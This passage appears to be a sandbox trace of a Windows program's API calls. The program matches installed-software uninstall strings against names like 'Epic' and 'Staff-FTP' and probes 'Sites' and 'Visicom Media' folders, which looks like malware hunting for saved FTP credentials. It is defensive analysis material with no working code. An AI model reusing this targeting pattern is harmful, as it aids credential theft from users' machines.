\"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="Epic") returned 0x0 [0079.557] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="Epic") returned 0x0 [0079.558] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="Epic") returned 0x0 [0079.558] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.558] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.558] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.558] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.558] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.558] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.558] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.558] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.558] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0079.558] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.558] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x3b, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.558] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.558] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="Staff-FTP") returned 0x0 [0079.558] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.559] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.560] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="Staff-FTP") returned 0x0 [0079.561] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="Staff-FTP") returned 0x0 [0079.561] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.561] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.561] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.561] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.562] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.562] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.562] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.562] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.562] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.562] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.562] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x3c, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.562] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.562] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.562] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.562] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.562] lstrlenA (lpString="\\Sites") returned 6 [0079.562] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.562] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.562] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Sites" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites" [0079.562] LocalFree (hMem=0x66b940) returned 0x0 [0079.562] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites") returned 38 [0079.562] lstrlenA (lpString="\\*.*") returned 4 [0079.562] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.562] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites" [0079.562] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites\\*.*" [0079.562] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Sites\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.562] LocalFree (hMem=0x647ab8) returned 0x0 [0079.562] LocalFree (hMem=0x629248) returned 0x0 [0079.562] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.562] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.562] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.563] lstrlenA (lpString="\\Visicom Media") returned 14 [0079.563] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647ab8 [0079.563] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.563] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Visicom Media" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media" [0079.563] LocalFree (hMem=0x66b940) returned 0x0 [0079.563] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media") returned 46 [0079.563] lstrlenA (lpString="\\*.*") returned 4 [0079.563] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0079.563] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media" [0079.563] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media\\*.*" [0079.563] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Visicom Media\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.563] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.563] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.563] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.563] lstrlenA (lpString="\\Sites") returned 6 [0079.563] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670c38 [0079.563] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.563] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Sites" | out: lpString1="C:\\ProgramData\\Sites") returned="C:\\ProgramData\\Sites" [0079.563] lstrlenA (lpString="C:\\ProgramData\\Sites") returned 20 [0079.563] lstrlenA (lpString="\\*.*") returned 4 [0079.563] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0079.563] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Sites" | out: lpString1="C:\\ProgramData\\Sites") returned="C:\\ProgramData\\Sites" [0079.563] lstrcatA (in: lpString1="C:\\ProgramData\\Sites", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Sites\\*.*") returned="C:\\ProgramData\\Sites\\*.*" [0079.563] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Sites\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.563] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.563] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.563] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.563] lstrlenA (lpString="\\Visicom Media") returned 14 [0079.563] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0079.563] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.564] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Visicom Media" | out: lpString1="C:\\ProgramData\\Visicom Media") returned="C:\\ProgramData\\Visicom Media" [0079.564] lstrlenA (lpString="C:\\ProgramData\\Visicom Media") returned 28 [0079.564] lstrlenA (lpString="\\*.*") returned 4 [0079.564] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.564] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\Visicom Media" | out: lpString1="C:\\ProgramData\\Visicom Media") returned="C:\\ProgramData\\Visicom Media" [0079.564] lstrcatA (in: lpString1="C:\\ProgramData\\Visicom Media", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Visicom Media\\*.*") returned="C:\\ProgramData\\Visicom Media\\*.*" [0079.564] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Visicom Media\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.564] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.564] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.564] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.564] lstrlenA (lpString="\\Sites") returned 6 [0079.564] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629248 [0079.564] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.564] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Sites" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites" [0079.564] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites") returned 36 [0079.564] lstrlenA (lpString="\\*.*") returned 4 [0079.564] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.564] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites" [0079.564] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites\\*.*" [0079.564] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Sites\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.564] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.564] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.564] 